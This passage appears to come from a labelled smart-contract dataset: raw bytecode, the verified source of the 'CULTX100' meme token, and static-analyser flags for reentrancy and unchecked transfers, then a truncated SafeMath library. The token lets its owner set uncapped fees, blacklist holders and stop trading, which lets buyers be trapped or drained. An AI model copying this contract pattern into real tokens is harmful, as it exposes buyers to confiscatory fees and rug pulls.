5610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,264
0x1ee6c4dfc40ba87884e5d5b6f2c4f880fc8ee782
/** *Submitted for verification at Etherscan.io on 2022-04-02 */ /* CULTX100 - The Next 100X. Telegram: https://t.me/CULTX100 Twitter: https://twitter.com/CULTX100 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CULTX100 is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "CULT X100";////////////////////////// string private constant _symbol = "CULTX100";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 10;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 10;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xa9b67c31B0EEBDb978d9A31da3F4e9b85cb8fC0E);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xa9b67c31B0EEBDb978d9A31da3F4e9b85cb8fC0E);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //2% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051f578063dd62ed3e1461053f578063ea1644d514610585578063f2fde38b146105a557600080fd5b8063a2a957bb1461049a578063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104135780638f9a55c01461043357806395d89b411461044957806398a5c3151461047a57600080fd5b806374010ece146103bf5780637d1db4a5146103df5780638da5cb5b146103f557600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103555780636fc3eaec1461037557806370a082311461038a578063715018a6146103aa57600080fd5b8063313ce567146102f957806349bd5a5e146103155780636b9990531461033557600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c35780632fd689e3146102e357600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae9565b6105c5565b005b3480156101ff57600080fd5b50604080518082019091526009815268043554c5420583130360bc1b60208201525b60405161022e9190611c13565b60405180910390f35b34801561024357600080fd5b50610257610252366004611a3f565b610672565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b50662386f26fc100005b60405190815260200161022e565b3480156102cf57600080fd5b506102576102de3660046119ff565b610689565b3480156102ef57600080fd5b506102b560185481565b34801561030557600080fd5b506040516009815260200161022e565b34801561032157600080fd5b50601554610287906001600160a01b031681565b34801561034157600080fd5b506101f161035036600461198f565b6106f2565b34801561036157600080fd5b506101f1610370366004611bb0565b61073d565b34801561038157600080fd5b506101f1610785565b34801561039657600080fd5b506102b56103a536600461198f565b6107d0565b3480156103b657600080fd5b506101f16107f2565b3480156103cb57600080fd5b506101f16103da366004611bca565b610866565b3480156103eb57600080fd5b506102b560165481565b34801561040157600080fd5b506000546001600160a01b0316610287565b34801561041f57600080fd5b506101f161042e366004611bb0565b610895565b34801561043f57600080fd5b506102b560175481565b34801561045557600080fd5b50604080518082019091526008815267043554c54583130360c41b6020820152610221565b34801561048657600080fd5b506101f1610495366004611bca565b6108dd565b3480156104a657600080fd5b506101f16104b5366004611be2565b61090c565b3480156104c657600080fd5b506102576104d5366004611a3f565b61094a565b3480156104e657600080fd5b506102576104f536600461198f565b60106020526000908152604090205460ff1681565b34801561051657600080fd5b506101f1610957565b34801561052b57600080fd5b506101f161053a366004611a6a565b6109ab565b34801561054b57600080fd5b506102b561055a3660046119c7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059157600080fd5b506101f16105a0366004611bca565b610a5a565b3480156105b157600080fd5b506101f16105c036600461198f565b610a89565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611c66565b60405180910390fd5b60005b815181101561066e5760016010600084848151811061062a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066681611d79565b9150506105fb565b5050565b600061067f338484610b73565b5060015b92915050565b6000610696848484610c97565b6106e884336106e385604051806060016040528060288152602001611dd6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d3565b610b73565b5060019392505050565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016105ef90611c66565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107675760405162461bcd60e51b81526004016105ef90611c66565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ba57506013546001600160a01b0316336001600160a01b0316145b6107c357600080fd5b476107cd8161120d565b50565b6001600160a01b03811660009081526002602052604081205461068390611292565b6000546001600160a01b0316331461081c5760405162461bcd60e51b81526004016105ef90611c66565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108905760405162461bcd60e51b81526004016105ef90611c66565b601655565b6000546001600160a01b031633146108bf5760405162461bcd60e51b81526004016105ef90611c66565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109075760405162461bcd60e51b81526004016105ef90611c66565b601855565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105ef90611c66565b600893909355600a91909155600955600b55565b600061067f338484610c97565b6012546001600160a01b0316336001600160a01b0316148061098c57506013546001600160a01b0316336001600160a01b0316145b61099557600080fd5b60006109a0306107d0565b90506107cd81611316565b6000546001600160a01b031633146109d55760405162461bcd60e51b81526004016105ef90611c66565b60005b82811015610a54578160056000868685818110610a0557634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a1a919061198f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4c81611d79565b9150506109d8565b50505050565b6000546001600160a01b03163314610a845760405162461bcd60e51b81526004016105ef90611c66565b601755565b6000546001600160a01b03163314610ab35760405162461bcd60e51b81526004016105ef90611c66565b6001600160a01b038116610b185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b60008111610dbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6000546001600160a01b03848116911614801590610deb57506000546001600160a01b03838116911614155b156110cc57601554600160a01b900460ff16610e84576000546001600160a01b03848116911614610e845760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ef565b601654811115610ed65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ef565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1857506001600160a01b03821660009081526010602052604090205460ff16155b610f705760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ef565b6015546001600160a01b03838116911614610ff55760175481610f92846107d0565b610f9c9190611d0b565b10610ff55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ef565b6000611000306107d0565b6018546016549192508210159082106110195760165491505b8080156110305750601554600160a81b900460ff16155b801561104a57506015546001600160a01b03868116911614155b801561105f5750601554600160b01b900460ff165b801561108457506001600160a01b03851660009081526005602052604090205460ff16155b80156110a957506001600160a01b03841660009081526005602052604090205460ff16155b156110c9576110b782611316565b4780156110c7576110c74761120d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110e57506001600160a01b03831660009081526005602052604090205460ff165b8061114057506015546001600160a01b0385811691161480159061114057506015546001600160a01b03848116911614155b1561114d575060006111c7565b6015546001600160a01b03858116911614801561117857506014546001600160a01b03848116911614155b1561118a57600854600c55600954600d555b6015546001600160a01b0384811691161480156111b557506014546001600160a01b03858116911614155b156111c757600a54600c55600b54600d555b610a54848484846114bb565b600081848411156111f75760405162461bcd60e51b81526004016105ef9190611c13565b5060006112048486611d62565b95945050505050565b6012546001600160a01b03166108fc6112278360026114e9565b6040518115909202916000818181858888f1935050505015801561124f573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126a8360026114e9565b6040518115909202916000818181858888f1935050505015801561066e573d6000803e3d6000fd5b60006006548211156112f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b600061130361152b565b905061130f83826114e9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c057600080fd5b505afa1580156113d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f891906119ab565b8160018151811061141957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143f9130911684610b73565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611478908590600090869030904290600401611c9b565b600060405180830381600087803b15801561149257600080fd5b505af11580156114a6573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c8576114c861154e565b6114d384848461157c565b80610a5457610a54600e54600c55600f54600d55565b600061130f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611673565b60008060006115386116a1565b909250905061154782826114e9565b9250505090565b600c5415801561155e5750600d54155b1561156557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158e876116df565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c0908761173c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ef908661177e565b6001600160a01b038916600090815260026020526040902055611611816117dd565b61161b8483611827565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166091815260200190565b60405180910390a3505050505050505050565b600081836116945760405162461bcd60e51b81526004016105ef9190611c13565b5060006112048486611d23565b6006546000908190662386f26fc100006116bb82826114e9565b8210156116d657505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fc8a600c54600d5461184b565b925092509250600061170c61152b565b9050600080600061171f8e8787876118a0565b919e509c509a509598509396509194505050505091939550919395565b600061130f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d3565b60008061178b8385611d0b565b90508381101561130f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b60006117e761152b565b905060006117f583836118f0565b30600090815260026020526040902054909150611812908261177e565b30600090815260026020526040902055505050565b600654611834908361173c565b600655600754611844908261177e565b6007555050565b6000808080611865606461185f89896118f0565b906114e9565b90506000611878606461185f8a896118f0565b905060006118908261188a8b8661173c565b9061173c565b9992985090965090945050505050565b60008080806118af88866118f0565b905060006118bd88876118f0565b905060006118cb88886118f0565b905060006118dd8261188a868661173c565b939b939a50919850919650505050505050565b6000826118ff57506000610683565b600061190b8385611d43565b9050826119188583611d23565b1461130f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b803561197a81611dc0565b919050565b8035801515811461197a57600080fd5b6000602082840312156119a0578081fd5b813561130f81611dc0565b6000602082840312156119bc578081fd5b815161130f81611dc0565b600080604083850312156119d9578081fd5b82356119e481611dc0565b915060208301356119f481611dc0565b809150509250929050565b600080600060608486031215611a13578081fd5b8335611a1e81611dc0565b92506020840135611a2e81611dc0565b929592945050506040919091013590565b60008060408385031215611a51578182fd5b8235611a5c81611dc0565b946020939093013593505050565b600080600060408486031215611a7e578283fd5b833567ffffffffffffffff80821115611a95578485fd5b818601915086601f830112611aa8578485fd5b813581811115611ab6578586fd5b8760208260051b8501011115611aca578586fd5b602092830195509350611ae0918601905061197f565b90509250925092565b60006020808385031215611afb578182fd5b823567ffffffffffffffff80821115611b12578384fd5b818501915085601f830112611b25578384fd5b813581811115611b3757611b37611daa565b8060051b604051601f19603f83011681018181108582111715611b5c57611b5c611daa565b604052828152858101935084860182860187018a1015611b7a578788fd5b8795505b83861015611ba357611b8f8161196f565b855260019590950194938601938601611b7e565b5098975050505050505050565b600060208284031215611bc1578081fd5b61130f8261197f565b600060208284031215611bdb578081fd5b5035919050565b60008060008060808587031215611bf7578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3f57858101830151858201604001528201611c23565b81811115611c505783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cea5784516001600160a01b031683529383019391830191600101611cc5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1e57611d1e611d94565b500190565b600082611d3e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5d57611d5d611d94565b500290565b600082821015611d7457611d74611d94565b500390565b6000600019821415611d8d57611d8d611d94565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209552b2a99e3b414559a7ace9f818b48d01e3480e77d9c3fa1c632f21b58444a264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,265
0x407cdbff18f65e25D6eE133f67cb339bADeC4c65
/** *Submitted for verification at Etherscan.io on 2021-10-02 */ pragma solidity 0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory 